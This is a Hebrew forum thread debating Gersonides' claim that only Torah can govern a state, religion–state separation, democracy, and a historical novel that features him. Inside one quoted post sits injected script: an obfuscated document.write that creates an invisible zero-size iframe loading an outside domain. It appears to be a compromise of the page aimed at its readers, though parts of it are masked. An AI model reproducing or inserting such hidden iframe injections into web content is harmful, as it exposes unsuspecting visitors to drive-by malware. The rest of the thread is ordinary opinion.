| נשלח ב-28/8/2003 21:45 |
 |
| |
רק באמצעות התורה אפשר להנהיג מדינה
הציטוט שאביא הוא מסורבל אבל מאוד מעניין. זו נראית ממש קריאה להנהגת המדינה על ידי דעת תורה וזלזול בכוחו של המוסר הטבעי.
"[התורה] הגיעה בנבואה וזו מישרת להקנאת המוסר ההנהגה הישרה הן בקבוץ הבית הן בקבוץ המדינה, ואין דרך בזולתה להקנאת המוסר בקבוצים המדיניים. כי האנשים להתחלף מזגיהם יתחלפו תכונותיהם מאוד ויתבלבל מפני זה עניין קבוצם לולא התורה שתנהיגם יחד בהנהגה אחת ונימוס אחד, ומי שישמור תורה אשרהו כי בה יקנה המוסר באופן שלם"
המובאה הזו ראויה לציון מסיבה נוספת - היא מצוטטת מפעם לפעם בידי רבנים חרדים, אבל היא כמעט הדבר היחיד שמצוטט מפי הכותב הזה, ולא בכדי.
מי הכותב ?
|
|
|
|
| נשלח ב-12/4/2015 22:02 |
|
| |
זה נכון. יש גם מכנה משותף. אקו (לטעמי הטוב שבשלושתם) הוא סמיוטיקן ואנתרופולוג, ופרס הוא הסטוריון. לא שאקדמאים הם בהכרח סופרים דגולים, אבל קשה יותר לדמיין איש אקדמיה כותב את "צופן דה ווינצי".
|
|
|
|
| נשלח ב-12/4/2015 14:46 |
|
| |
גם אני לא רואה כיצד אפשר להסיק מספר אחד לספר אחר גם אם הם מסוגה דומה.
אומברטו אקו למשל די יודע על מה הוא מדבר, וזה בהמון נושאים
|
|
|
|
| נשלח ב-12/4/2015 14:29 |
|
| |
| מיימוני כתב: |  |
ה רלב"ג (רבי לוי בן גרשום), הפילוסוף היהודי שמדריך את אוליבייה דה נואיין, הוא דמות היסטורית ממשית, ידועה היטב הן כמלומד דתי והן כמדען (מכתש "רבי לוי" בירח קרוי על שמו). עם זאת, מפגשו עם האפיפיור קלמנט השישי (דמות היסטורית ממשית גם הוא) במהלך המגפה, המתואר בספר, הוא בדוי לחלוטין. למעשה, השאלה אם הרלב"ג כלל היה חי באותו הזמן שנויה במחלוקות בקרב היסטוריונים. המשרתת של הרלב"ג, רבקה, אהובתו של אוליבייה, גם היא בדויה.
http://he.wikipedia.org/wiki/%D7%97%D7%9C%D7%95%D7%9D_%D7%A1%D7%A7%D7%99%D7%A4%D7%99%D7%95_%28%D7%A8%D7%95%D7%9E%D7%9F%29
עד כמה אפשר ללמוד מתיאור ספרותי על דמותו של אדם שידוע עליו די מעט, זאת שאלה מעניינת. מן הסתם אם המחבר בחר בו לתפקיד בספרו, זה מפני שהתרשם ממנו. כמובן, זה מעיד על המחבר יותר מאשר על הדמות ההיסטורית. צא וראה כיצד בעל "הקוד של דה וינצ'י" חסר ידע בסיסי בדברים רבים. אבל תודה על ההפניה.< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
תודה גם לך.
אני חושב שהספר הנ"ל מוכוון דמויות הרבה יותר מאשר מוכוון עלילה, ומסיבה זו, זה לא כ"כ משנה לו האם רלב"ג ההיסטורי פגש את האפיפיור ההיסטורי או לא. למעשה הייתי אומר מעבר לכך: הספר מוכוון רעיונות יותר מאשר מוכוון דמויות. כשדמויות נפגשות בו, זה לרוב בסיס לתיאור של מפגש של תפיסות שונות.
העלית נקודה מעניינת: כנראה שהסופר לא הוטרד מהשאלה האם שני האישים אכן נפגשו היסטורית. ייתכן, אבל, שהוא גם לא הוטרד מהתאמת תפיסות ארכטיפיות לדמויות שאותן הציג. (במילים אחרות: אינני יודע האם הוא אכן התעניין במה שרלב"ג אכן אמר, או בחר תפיסה יהודית, לטעמו, והלביש אותה על המלומד היהודי המפורסם הקרוב ביותר לזמן ולמקום.)
אני חייב להסתייג מההשוואה ל"צופן דה וינצ'י" ודומיו. מעבר להיותו רומן זבל, לטעמי, אין בו מאומה מעבר לתיאוריות הקונספירציה ההזויות, שהטעות בעובדותיהן פוגעת בו באופן מהותי.
|
|
|
|
| נשלח ב-12/4/2015 10:28 |
|
| |
אריאל
עתה ראיתי את דבריך.
אני סבור שאתה צודק. לפי המסופר, ר' ישראל מסלנט הקדיש זמן כדי להאדיר את שמו כתלמיד חכם ובעל יכולת לפלפל ברוח התקופה כדי ששמו הטוב יאפשר לו להציג את החידוש שלו, הגישה המוסרית שלו.
מי שנהנה משם טוב יכול להביע דעות חריגות. לפחות עד גבול מסויים שלא אנסה להגדיר.
בסדר הבנו
לא שמעתי על הספר אבל התייחסתי להמלצתך ומצאתי בויקי את ההערה הבאה.
ה רלב"ג (רבי לוי בן גרשום), הפילוסוף היהודי שמדריך את אוליבייה דה נואיין, הוא דמות היסטורית ממשית, ידועה היטב הן כמלומד דתי והן כמדען (מכתש "רבי לוי" בירח קרוי על שמו). עם זאת, מפגשו עם האפיפיור קלמנט השישי (דמות היסטורית ממשית גם הוא) במהלך המגפה, המתואר בספר, הוא בדוי לחלוטין. למעשה, השאלה אם הרלב"ג כלל היה חי באותו הזמן שנויה במחלוקות בקרב היסטוריונים. המשרתת של הרלב"ג, רבקה, אהובתו של אוליבייה, גם היא בדויה.
http://he.wikipedia.org/wiki/%D7%97%D7%9C%D7%95%D7%9D_%D7%A1%D7%A7%D7%99%D7%A4%D7%99%D7%95_%28%D7%A8%D7%95%D7%9E%D7%9F%29
עד כמה אפשר ללמוד מתיאור ספרותי על דמותו של אדם שידוע עליו די מעט, זאת שאלה מעניינת. מן הסתם אם המחבר בחר בו לתפקיד בספרו, זה מפני שהתרשם ממנו. כמובן, זה מעיד על המחבר יותר מאשר על הדמות ההיסטורית. צא וראה כיצד בעל "הקוד של דה וינצ'י" חסר ידע בסיסי בדברים רבים. אבל תודה על ההפניה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-9/4/2015 10:28 |
|
| |
| זריחת_עץ כתב: | | | מי שכתב את הציטטה הזו, רבי לוי בן גרשון, היה רחוק מהרבה מאוד דעות אחרות מקובלות בנות זמננו, בין של עכ"ח, בין של "אוהלה של יהדות".
הוא היה רציונליסט וחשב שנס כמו "שמש בגבעון דום" למעשה היה רק אירוע טבעי.
הוא האמין אמונה שלמה באסטרולוגיה וחשב שעל פיה מסתובב העולם ושכל מה שמאפיין נביא הוא בקיאותו בה.
מצד שני הוא האמין בבחירה חופשית וכדי לקיים אותה צמצם את ידיעת ה' וסבר שהיא מוגבלת מאוד.
הוא צמצם מאוד גם את ההשגחה הפרטית, וסבר שהיא קיימת רק כלפי הצדיק המושגח.
לא לחינם ר' יצחק עראמה קרא לספרו "מלחמות ה'" - "מלחמות על ה'". |
|
רלב"ג הוא אחת הדמויות בספרו המרשים של איאן פרס, "חלומו של סקיפיו".
|
|
|
|
| נשלח ב-7/3/2015 21:50 |
|
| |
סליחה שאני אומר,
אבל אני לא בטוח,
שבדמוקרטיות המערביות,
אין חסרונות גדולים,
[שאין בדת]
לדוגמה,
כל הקטע של רציחת עוברים,
בעזרת כל מיני סיסמאות "דמוקרטיות",
ואני לא חושב,
שהבעייה פה,
היא רק נקודתית,
כי זה לעשירות דעתי,
תסמין,
לחברה שהחוקים שבה,
הם סה"כ,
חוקים,
של:
"שמור לי, ואשמור לך",
ללא מוסר אמיתי,
מצד עצמו,
אז ממילא,
כשמדובר לדוגמה בעוברים,
שאין אינטרס לאנשים,
ללחום ברציחתם, אפשר להתירם,
ע"י סיסמאות כנ"ל.
|
|
|
|
|
| נשלח ב-6/3/2015 15:49 |
|
| |
| ספרן כתב: | | הפרדת דת ומדינה, מבוא כללי קצר
|
|
תשימו לב. יש לו דת שנקראת "מדינה"
מבחינתו הדת הזו היא הכרח, רק נשאר לשאול האם שאר הדתות ראויים להיות חלק בדת המרכזית.
ויש לו ארבע מודלים
הפרדה חדה: חציצה חד משמעית בין המערך הפוליטי לשדה הדתי. המדינה לא מממנת, לא מתעדפת ולא משפיעה על המוסדות הדתיים. היא חופשית מהם והם חופשיים ממנה. האזרחים נקראים לבחור אם לאמץ או לדחות דת כלשהי.הפרדה תוך העדפה: המדינה נמנעת מלפקח על הדת והממסד הפוליטי אינו תחת סמכות דתית, אולם המדינה תומכת במוסדות דתיים, וייתכן שאף תומכת בדת מסויימת ולא באחרות.חילון כפוי: לא רק שהמדינה לא תומכת במוסדות דתיים, אלא שהיא מפקחת על הדת, ולמעשה מגבילה אותה, במטרה לשמור את השפעתה על המרחב הציבורי מינימלית.דת ממלכתית: הממסד הפוליטי נפרד מהממסד הדתי, אולם יש שיתוף פעולה הדוק ביניהם: המדינה תומכת ומממנת דת מסויימת, כופה חלקים ממנה על האזרחים, לא מכירה בדתות אחרות, אולם גם מפקחת על הדת, ומסדירה בכוחה את יחסי הגומלין בינה ובין המרחב הציבורי.
וכאן הקאץ'. תבטלו את דת המדינה ותשחררו את האדם מכל ע"ז = ישויות דמיוניות.
הכותב הנכבד לא יורד לעומק האבולוציה האנושית ומה מניע אותו ולאיזה כיוונים.
לא דת ולא דת מדינה היא הבעיות האנושיות, הבעיות האנושיות היא חופש וחירות + הטבע. ולא כמו שדת המדינה מנסה לטוען בדוגמטיות שיש חופש וחירות האדם בלי הטבע.
הכל מתחיל ונגמר האם יש לאדם את הטבע או אין לו את הטבע.
כל דת כמו דת המדינה באים כאמצעי להחזיר לאדם את הטבע.
הדת היחידי שאפשר לומר שהיא עונה לבעיה, היא הדת היהודית. היא לא מכירה בדת המדינה וכמובן מחזירה לאדם את הטבע ככה שיש לו חופש מוחלט + הטבע.
ולדת היהודית יש תזה ברורה מה יקרה אם נשלול את הטבע מהפרט בחסות ישויות דמיוניות כמו מדינה. וכל נבואות הזעם מתקיימות ותתקיימו לעולם כל זמן שנרצה ישויות דמיוניות = ע"ז כמו מדינה או אליל הכסף והקניינים.
תוקן על ידי maxmen ב- 06/03/2015 16:29:46
|
|
|
|
| נשלח ב-6/3/2015 11:25 |
|
| |
| יצחק_יונתן כתב: | |
האם לדעתכם הסובלנות כלפיו והכללתו בקונסנסוס למרות הדעות החריגות קשורה בהכללת פירושו ב"מקראות גדולות" ש"קיבע" אותו כאחד הפרשנים הלגיטימיים? (כיו"ב ניתן לומר על האבן-עזרא, ובמידה מועטה יותר, על המהר"ץ חיות) |
|
מדובר בבורות היסטורית, כאילו הריב"ש [שהתקיפו בכבוד] והרשב"ץ חיו לאחר פרסום המקראות גדולות
|
|
|
|
| נשלח ב-6/3/2015 11:20 |
|
| |
| יצחק_יונתן כתב: | |
האם לדעתכם הסובלנות כלפיו והכללתו בקונסנסוס למרות הדעות החריגות קשורה בהכללת פירושו ב"מקראות גדולות" ש"קיבע" אותו כאחד הפרשנים הלגיטימיים? (כיו"ב ניתן לומר על האבן-עזרא, ובמידה מועטה יותר, על המהר"ץ חיות) |
|
האם מצאנו את הדרך להכניס את עצכ"ח לקונצנזוס? מיימוני, כתוב פירוש לש"ס ושלם ל'עוז והדר' כדי שיכניסו אותו פנימה.
והאמת היא שרוב הנמצאים בקונצנזוס זכו למעמדם בגלל תמיכה של גדיילים שונים. וכמותם גם ר' גדליה נדל.
|
|
|
|
| נשלח ב-6/3/2015 11:01 |
|
| |
הפרדת דת ומדינה, מבוא כללי קצר
תוקן על ידי ספרן ב- 06/03/2015 11:27:47
|
|
|
|
| נשלח ב-21/2/2010 23:42 |
|
| |
| נישטאיך כתב: | | <"רק עם התורה אפשר להנהיג מדינה">
מתי זה היה?
האם הר"ן חולק עליו? |
|
נישאיך, כאילו לא ידעת, ראה הדרוש האחד עשר בדרשות הר"ן
|
|
|
|
| נשלח ב-16/2/2010 00:38 |
|
| |
מיכי
השאלה אם כוונתו של הרלב"ג לדת נבואית שמימית, או לחוקה אחידה ומלכדת.
אם לדת נבואית כוונתו, הדמוקרטיה לא צמחה מהיהדות.
אם למערכת חוקים גרידא כוונתו, מה נתנה הדת לדמוקרטיה ? כל מערכת חוקים אף הפרימיטבית ביותר, היא נדבך חשוב במעבר לדמוקרטיה. גם אם היא לא מערכת חוקים דתית.
ואל נשכח שאחד מעיקרי הדמוקרטיה היא חופש דת, והחופש מדת, הכוללים זכויות מיעוט מידע מצפון וביטוי.
ערכים אלו מנוגדים בבסיסם לחוקים דתיים.
|
|
|
|
| נשלח ב-15/2/2010 18:13 |
|
| |
בעל,
אולי הם היו אומרים שהדמוקרטיה יכלה לקום רק אחרי היווסדה של הדת. אמנם התהליך עבר סקולריזציה.
|
|
|
|
|
